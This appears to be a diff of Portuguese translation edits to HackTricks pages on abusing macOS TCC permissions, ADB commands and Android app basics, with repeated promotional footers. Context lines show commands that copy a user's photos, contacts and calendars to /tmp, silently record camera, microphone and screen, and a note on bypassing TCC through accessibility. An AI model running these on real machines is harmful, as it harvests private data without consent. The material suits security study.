### Biblioteca de Fotos
* **Entitlement**: `com.apple.security.personal-information.photos-library`
* **Direito**: `com.apple.security.personal-information.photos-library`
* **TCC**: `kTCCServicePhotos`
{% tabs %}
@ -212,7 +213,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
### Contatos
* **Entitlement**: `com.apple.security.personal-information.addressbook`
* **Direito**: `com.apple.security.personal-information.addressbook`
* **TCC**: `kTCCServiceAddressBook`
{% tabs %}
@ -261,7 +262,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
### Calendário
* **Entitlement**: `com.apple.security.personal-information.calendars`
* **Direito**: `com.apple.security.personal-information.calendars`
* **TCC**: `kTCCServiceCalendar`
{% tabs %}
@ -314,8 +315,8 @@ cp -r "$HOME/Library/Calendars" "/tmp/calendars"
* **TCC**: `kTCCServiceCamera`
{% tabs %}
{% tab title="ObjetiveC - Gravação" %}
Grave um vídeo de 3 segundos e salve em **`/tmp/recording.mov`**
{% tab title="ObjetiveC - Gravar" %}
Grave um vídeo de 3s e salve-o em **`/tmp/recording.mov`**
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -393,9 +394,8 @@ fclose(stderr); // Close the file stream
```
{% endtab %}
{% tab title="ObjectiveC - Verificação" %}
{% tab title="ObjectiveC - Verificar" %}
Verifique se o programa tem acesso à câmera.
{% endtab %}
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -437,12 +437,12 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
### Microfone
* **Privilégio**: **com.apple.security.device.audio-input**
* **Direito**: **com.apple.security.device.audio-input**
* **TCC**: `kTCCServiceMicrophone`
{% tabs %}
{% tab title="ObjetiveC - Gravação" %}
Grave 5 segundos de áudio e armazene em `/tmp/recording.m4a`
{% tab title="ObjetiveC - Gravar" %}
Grave 5s de áudio e armazene em `/tmp/recording.m4a`
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -541,9 +541,8 @@ fclose(stderr); // Close the file stream
```
{% endtab %}
{% tab title = "ObjectiveC - Verificação" %}
{% tab title="ObjectiveC - Verificar" %}
Verifique se o aplicativo tem acesso ao microfone.
{% endtab %}
```objectivec
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
@ -574,7 +573,7 @@ static void telegram(int argc, const char **argv) {
{% endtab %}
{% tab title="Shell" %}
Grave um áudio de 5 segundos e armazene em `/tmp/recording.wav`
Grave um áudio de 5s e armazene-o em `/tmp/recording.wav`
```bash
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
@ -587,7 +586,7 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
### Localização
{% hint style="success" %}
Para um aplicativo obter a localização, **Serviços de Localização** (em Privacidade e Segurança) **devem estar ativados**, caso contrário, não será capaz de acessá-la.
Para que um aplicativo obtenha a localização, **Serviços de Localização** (de Privacidade e Segurança) **devem estar ativados,** caso contrário, não conseguirá acessá-la.
{% endhint %}
* **Direito**: `com.apple.security.personal-information.location`
@ -645,7 +644,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% endtab %}
{% tab title="Shell" %}
Obter acesso à localização
Obtenha acesso à localização
```
???
```
@ -654,7 +653,7 @@ Obter acesso à localização
### Gravação de Tela
* **Privilégio**: Nenhum
* **Direito**: Nenhum
* **TCC**: `kTCCServiceScreenCapture`
{% tabs %}
@ -716,7 +715,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
{% endtab %}
{% tab title="Shell" %}
Grave a tela principal por 5 segundos
Grave a tela principal por 5s
```bash
screencapture -V 5 /tmp/screen.mov
```
@ -725,10 +724,13 @@ screencapture -V 5 /tmp/screen.mov
### Acessibilidade
* **Privilégio**: Nenhum
* **Direito**: Nenhum
* **TCC**: `kTCCServiceAccessibility`
Use o privilégio TCC para aceitar o controle do Finder pressionando enter e assim contornar o TCC dessa maneira
Use o privilégio TCC para aceitar o controle do Finder pressionando enter e contornar o TCC dessa forma
{% tabs %}
{% tab title="Aceitar TCC" %}
```objectivec
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
@ -890,19 +892,20 @@ return 0;
{% endtabs %}
{% hint style="danger" %}
**A acessibilidade é uma permissão muito poderosa**, você poderia abusar dela de outras maneiras, por exemplo, você poderia realizar o **ataque de teclas** apenas com ela, sem precisar chamar o System Events.
**Acessibilidade é uma permissão muito poderosa**, você poderia abusar dela de outras maneiras, por exemplo, você poderia realizar o **ataque de pressionamento de teclas** apenas com isso, sem precisar chamar os Eventos do Sistema.
{% endhint %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
@ -60,16 +61,17 @@ Outras maneiras de apoiar o HackTricks:
{% embed url="https://ippsec.rocks/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**O Adb geralmente está localizado em:**
**O ADB geralmente está localizado em:**
```bash
#Windows
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
@ -21,23 +22,23 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
#MacOS
/Users/<username>/Library/Android/sdk/platform-tools/adb
```
**Informações obtidas em:** [**http://adbshell.com/**](http://adbshell.com)
**Informações obtidas de:** [**http://adbshell.com/**](http://adbshell.com)
# Conexão
```
adb devices
```
Isso irá listar os dispositivos conectados; se "_**unathorised**_" aparecer, isso significa que você tem que **desbloquear** seu **celular** e **aceitar** a conexão.
Isso listará os dispositivos conectados; se "_**não autorizado**_" aparecer, isso significa que você deve **desbloquear** seu **móvel** e **aceitar** a conexão.
Isso indica ao dispositivo que ele deve iniciar um servidor adb na porta 5555:
```
adb tcpip 5555
```
Conecte-se a esse IP e a essa porta:
Conecte-se a esse IP e essa Porta:
```
adb connect <IP>:<PORT>
```
Se você receber um erro como o seguinte em um software Android Virtual (como o Genymotion):
Se você receber um erro como o seguinte em um software Android Virtual (como Genymotion):
```
adb server version (41) doesn't match this client (36); killing...
```
@ -45,7 +46,7 @@ adb server version (41) doesn't match this client (36); killing...
## Vários dispositivos
Sempre que você encontrar **vários dispositivos conectados à sua máquina**, você precisará **especificar em qual** deseja executar o comando adb.
Sempre que você encontrar **vários dispositivos conectados ao seu computador**, você precisará **especificar em qual deles** deseja executar o comando adb.
```bash
adb devices
List of devices attached
@ -58,9 +59,9 @@ adb -s 127.0.0.1:5555 shell
x86_64:/ # whoami
root
```
## Encaminhamento de Porta
## Port Tunneling
No caso do **adb** **porta** ser **acessível** apenas a partir do **localhost** no dispositivo Android, mas **você tem acesso via SSH**, você pode **encaminhar a porta 5555** e conectar via adb:
Caso a **porta** **adb** esteja **acessível** apenas a partir de **localhost** no dispositivo Android, mas **você tenha acesso via SSH**, você pode **encaminhar a porta 5555** e conectar via adb:
```bash
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
adb connect 127.0.0.1:5555
@ -85,7 +86,7 @@ adb install -d test.apk # allow version code downgrade
adb install -p test.apk # partial application install
```
### adb uninstall \[opções] \<PACOTE>
### adb uninstall \[options] \<PACKAGE>
```bash
adb uninstall com.test.app
@ -93,9 +94,9 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p
```
## Pacotes
Exibe todos os pacotes, opcionalmente apenas aqueles cujo nome do pacote contém o texto em \<FILTRO>.
Imprime todos os pacotes, opcionalmente apenas aqueles cujo nome do pacote contém o texto em \<FILTER>.
### adb shell pm list packages \[opções] \<FILTRO-STR>
### adb shell pm list packages \[options] \<FILTER-STR>
```bash
adb shell pm list packages <FILTER-STR>
@ -117,41 +118,41 @@ adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to quer
```
### adb shell pm path \<PACKAGE>
Imprime o caminho para o APK do aplicativo fornecido.
Imprime o caminho para o APK do dado.
```bash
adb shell pm path com.android.phone
```
### adb shell pm clear \<PACKAGE>
Apaga todos os dados associados a um pacote.
Excluir todos os dados associados a um pacote.
```bash
adb shell pm clear com.test.abc
```
# Gerenciador de Arquivos
# File Manager
### adb pull \<remoto> \[local]
Baixa um arquivo especificado de um emulador/dispositivo para o seu computador.
Baixe um arquivo especificado de um emulador/dispositivo para o seu computador.
```bash
adb pull /sdcard/demo.mp4 ./
```
### adb push \<local> \<remote>
Envia um arquivo especificado do seu computador para um emulador/dispositivo.
Carrega um arquivo especificado do seu computador para um emulador/dispositivo.
```bash
adb push test.apk /sdcard
```
# Captura de tela/Gravação de tela
# Captura de Tela/Gravação de Tela
### adb shell screencap \<nome_do_arquivo>
### adb shell screencap \<filename>
Capturando uma captura de tela da tela do dispositivo.
Fazendo uma captura de tela da exibição de um dispositivo.
```bash
adb shell screencap /sdcard/screen.png
```
### adb shell screenrecord \[opções] \<nome_do_arquivo>
### adb shell screenrecord \[options] \<filename>
Gravando a tela de dispositivos executando Android 4.4 (nível de API 19) e superior.
Gravando a tela de dispositivos que executam Android 4.4 (nível de API 19) e superior.
```bash
adb shell screenrecord /sdcard/demo.mp4
adb shell screenrecord --size <WIDTHxHEIGHT>
@ -191,31 +192,33 @@ input [text|keyevent] #Send keystrokes to device
```
# Processos
Se deseja obter o PID do processo de sua aplicação, você pode executar:
Se você quiser obter o PID do processo do seu aplicativo, pode executar:
```bash
adb shell ps
```
E pesquise pelo seu aplicativo
E procure seu aplicativo
Ou você pode
Ou você pode fazer
```bash
adb shell pidof com.your.application
```
E isso irá imprimir o PID do aplicativo
E imprimirá o PID da aplicação
# Sistema
```bash
adb root
```
Reinicia o daemon adbd com permissões de root. Em seguida, você terá que se reconectar ao servidor ADB e estará como root (se disponível)
Reinicia o daemon adbd com permissões de root. Em seguida, você deve se conectar novamente ao servidor ADB e você será root (se disponível)
```bash
adb sideload <update.zip>
```
## Registros
flashing/restoring pacotes Android update.zip.
### Logcat
# Logs
Para **filtrar as mensagens de apenas um aplicativo**, obtenha o PID do aplicativo e use o grep (linux/macos) ou findstr (windows) para filtrar a saída do logcat:
## Logcat
Para **filtrar as mensagens de apenas um aplicativo**, obtenha o PID do aplicativo e use grep (linux/macos) ou findstr (windows) para filtrar a saída do logcat:
```bash
adb logcat | grep 4526
adb logcat | findstr 4526
@ -262,7 +265,7 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
dumps dados do sistema
### adb shell dumpsys \[opções]
### adb shell dumpsys \[options]
```bash
adb shell dumpsys
@ -270,21 +273,19 @@ adb shell dumpsys meminfo
adb shell dumpsys battery
```
Notas: Um dispositivo móvel com Opções do Desenvolvedor ativadas executando Android 5.0 ou superior.
Notas: Um dispositivo móvel com Opções de Desenvolvedor ativadas rodando Android 5.0 ou superior.
```bash
adb shell dumpsys batterystats collects battery data from your device
```
Notas: [Battery Historian](https://github.com/google/battery-historian) converte esses dados em uma visualização HTML. **PASSO 1** _adb shell dumpsys batterystats > batterystats.txt_ **PASSO 2** _python historian.py batterystats.txt > batterystats.html_
Notas: [Battery Historian](https://github.com/google/battery-historian) converte esses dados em uma visualização HTML. **ETAPA 1** _adb shell dumpsys batterystats > batterystats.txt_ **ETAPA 2** _python historian.py batterystats.txt > batterystats.html_
```bash
adb shell dumpsys batterystats --reset erases old collection data
```
```plaintext
adb shell dumpsys activity
# Backup
Fazer backup de um dispositivo Android pelo adb.
```
Fazer backup de um dispositivo Android a partir do adb.
```bash
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
# -apk -- Include APK from Third partie's applications
@ -296,20 +297,21 @@ adb shell pm list packages -f -3 #List packages
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
adb restore myapp_backup.ab # restore to the same or any other device
```
Se deseja inspecionar o conteúdo do backup:
Se você quiser inspecionar o conteúdo do backup:
```bash
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporte o HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Conceitos Básicos de Aplicações Android
# Fundamentos de Aplicações Android
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
**Grupo de Segurança Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -26,121 +27,122 @@ Outras formas de apoiar o HackTricks:
**Existem duas camadas:**
* O **SO**, que mantém aplicativos instalados isolados uns dos outros.
* O **próprio aplicativo**, que permite aos desenvolvedores **expor certas funcionalidades** e configurar as capacidades do aplicativo.
* O **SO**, que mantém as aplicações instaladas isoladas umas das outras.
* A **aplicação em si**, que permite que os desenvolvedores **exponham certas funcionalidades** e configurem as capacidades da aplicação.
### Separação de UID
**Cada aplicativo é atribuído a um ID de Usuário específico**. Isso é feito durante a instalação do aplicativo para que o **aplicativo possa interagir apenas com arquivos de propriedade de seu ID de Usuário ou arquivos compartilhados**. Portanto, apenas o próprio aplicativo, certos componentes do SO e o usuário root podem acessar os dados dos aplicativos.
**Cada aplicação é atribuída a um ID de Usuário específico**. Isso é feito durante a instalação do app para que **o app só possa interagir com arquivos pertencentes ao seu ID de Usuário ou arquivos compartilhados**. Portanto, apenas o próprio app, certos componentes do SO e o usuário root podem acessar os dados do app.
### Compartilhamento de UID
**Dois aplicativos podem ser configurados para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se um deles for comprometido, os dados de ambos os aplicativos serão comprometidos. Por isso, esse comportamento é **desencorajado**.\
**Para compartilhar o mesmo UID, os aplicativos devem definir o mesmo valor `android:sharedUserId` em seus manifestos.**
**Duas aplicações podem ser configuradas para usar o mesmo UID**. Isso pode ser útil para compartilhar informações, mas se uma delas for comprometida, os dados de ambas as aplicações estarão comprometidos. É por isso que esse comportamento é **desencorajado**.\
**Para compartilhar o mesmo UID, as aplicações devem definir o mesmo valor `android:sharedUserId` em seus manifests.**
### Isolamento
### Sandboxing
A **Sandbox de Aplicativos Android** permite executar **cada aplicativo** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um aplicativo é executado isoladamente de outros aplicativos.\
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux negou todas as interações de processos e então criou políticas para **permitir apenas as interações esperadas entre eles**.
O **Sandbox de Aplicações Android** permite executar **cada aplicação** como um **processo separado sob um ID de usuário separado**. Cada processo tem sua própria máquina virtual, então o código de um app é executado em isolamento de outros apps.\
A partir do Android 5.0(L), o **SELinux** é aplicado. Basicamente, o SELinux negou todas as interações de processos e, em seguida, criou políticas para **permitir apenas as interações esperadas entre eles**.
### Permissões
Quando você instala um **aplicativo e ele solicita permissões**, o aplicativo está pedindo as permissões configuradas nos elementos **`uses-permission`** no arquivo **AndroidManifest.xml**. O elemento **uses-permission** indica o nome da permissão solicitada dentro do **atributo de nome**. Ele também possui o atributo **maxSdkVersion** que impede a solicitação de permissões em versões superiores à especificada.\
Observe que os aplicativos Android não precisam solicitar todas as permissões no início, eles também podem **solicitar permissões dinamicamente**, mas todas as permissões devem ser **declaradas** no **manifesto**.
Quando você instala um **app e ele pede permissões**, o app está solicitando as permissões configuradas nos elementos **`uses-permission`** no arquivo **AndroidManifest.xml**. O elemento **uses-permission** indica o nome da permissão solicitada dentro do **atributo name**. Ele também possui o atributo **maxSdkVersion** que para de solicitar permissões em versões superiores à especificada.\
Note que as aplicações android não precisam pedir todas as permissões no início, elas também podem **pedir permissões dinamicamente**, mas todas as permissões devem ser **declaradas** no **manifesto**.
Quando um aplicativo expõe funcionalidades, ele pode limitar o **acesso apenas a aplicativos que possuem uma permissão especificada**.\
Um elemento de permissão possui três atributos:
Quando um app expõe funcionalidade, ele pode limitar o **acesso apenas a apps que tenham uma permissão específica**.\
Um elemento de permissão tem três atributos:
* O **nome** da permissão
* O atributo **permission-group**, que permite agrupar permissões relacionadas.
* O **nível de proteção** que indica como as permissões são concedidas. Existem quatro tipos:
* **Normal**: Usado quando não há **ameaças conhecidas** ao aplicativo. O usuário **não precisa aprovar**.
* **Perigoso**: Indica que a permissão concede ao aplicativo solicitante **acesso elevado**. **Os usuários são solicitados a aprová-los**.
* **Assinatura**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente podem receber permissão. Este é o tipo mais forte de proteção.
* **AssinaturaOuSistema**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente ou **aplicativos em execução com acesso de nível de sistema** podem receber permissões
* **Normal**: Usado quando não há **ameaças conhecidas** ao app. O usuário **não é obrigado a aprová-lo**.
* **Dangerous**: Indica que a permissão concede à aplicação solicitante algum **acesso elevado**. **Os usuários são solicitados a aprová-las**.
* **Signature**: Apenas **apps assinados pelo mesmo certificado que o que** exporta o componente podem receber permissão. Este é o tipo mais forte de proteção.
* **SignatureOrSystem**: Apenas **apps assinados pelo mesmo certificado que o que** exporta o componente ou **apps executando com acesso a nível de sistema** podem receber permissões.
## Aplicações Pré-Instaladas
